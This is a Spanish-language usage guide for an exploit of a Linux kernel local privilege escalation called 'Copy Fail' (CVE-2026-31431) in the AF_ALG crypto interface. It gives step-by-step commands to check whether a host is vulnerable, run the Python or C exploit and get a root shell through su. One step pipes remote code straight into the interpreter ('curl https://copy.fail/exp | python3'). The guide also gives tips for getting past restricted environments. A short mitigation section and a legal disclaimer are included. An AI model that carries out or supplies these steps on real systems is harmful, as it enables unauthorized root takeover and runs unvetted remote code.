Copy Fail (CVE-2026-31431) – Guía de uso del exploit

Readme original tomado de @painoob

¡Todas las versiones del kernel desde 2017 / 2016 son vulnerables! El kernel 7 es totalmente inmune, otras (entre 5-7 pueden seguir siendo vulnerables)

⚠️ Aviso legal

Este contenido es solo para fines educativos y de pruebas de seguridad autorizadas. NO ejecutes esto en sistemas sin permiso explícito.

📌 Descripción general

Copy Fail (CVE-2026-31431) es una vulnerabilidad de escalada de privilegios local (LPE) en Linux que afecta a la API criptográfica del kernel a través de AF_ALG.

Permite a un usuario sin privilegios sobrescribir datos de la caché de páginas de un binario SUID (por ejemplo, /usr/bin/su) y obtener acceso root.

🧠 Requisitos

Requisitos del sistema

• Kernel de Linux (vulnerable – depende del estado del parche)
• AF_ALG habilitado
• Módulo algif_aead cargado

Requisitos del exploit en Python

• Python 3.10+
• Soporte para:
  • os.splice
  • socket(AF_ALG)

🔍 Comprobar la vulnerabilidad

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

Indicadores esperados:

• authencesn(hmac(sha256),cbc(aes))
• algif_aead cargado

🐍 Ejecutar el exploit en Python

1. Ejecutar directamente

python3 copy_fail_exp.py

2. O mediante curl (si está alojado en remoto)

curl https://copy.fail/exp | python3

3. Lanzar shell de root

su
id

Resultado esperado:

uid=0(root)

⚠️ Problemas comunes (Python)

❌ Error: os.splice not found

Causa:

• Versión de Python < 3.10
• Compilación restringida

Solución:

• Usar un binario de Python más reciente
• Subir un intérprete de Python estático

⚙️ Compilar la versión en C

1. Compilar

gcc copy_fail_exp.c -o copy_fail

2. Hacer ejecutable

chmod +x copy_fail

3. Ejecutar el exploit

./copy_fail
su

⚠️ Problemas comunes (C)

❌ El exploit se ejecuta pero no obtiene root

Posibles causas:

• Kernel parcheado
• Desplazamientos incorrectos
• Entorno incompatible

❌ Errores de compilación

Instala las herramientas necesarias:

apt update && apt install build-essential

🧪 Solución de problemas

Comprobar si el sistema está parcheado

dmesg | grep -i alg

Verificar el módulo

lsmod | grep algif_aead

🛡️ Mitigación

Deshabilitar el módulo vulnerable

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Aplicar el parche del kernel

Actualiza tu sistema:

apt update && apt upgrade

📌 Notas

• El exploit modifica solo la caché de páginas (no persistente)
• Requiere acceso local
• No es explotable de forma remota por defecto

🧠 Conclusión final

Si el exploit falla, considera:

• Kernel ya parcheado
• Restricciones del entorno
• Vectores alternativos de escalada de privilegios (SUID, capabilities, mala configuración de sudo)

📚 Referencias

• https://copy.fail/
• CVE-2026-31431

👨‍💻 Notas del autor

Usa este exploit de forma responsable solo en laboratorios, CTFs y pentests autorizados.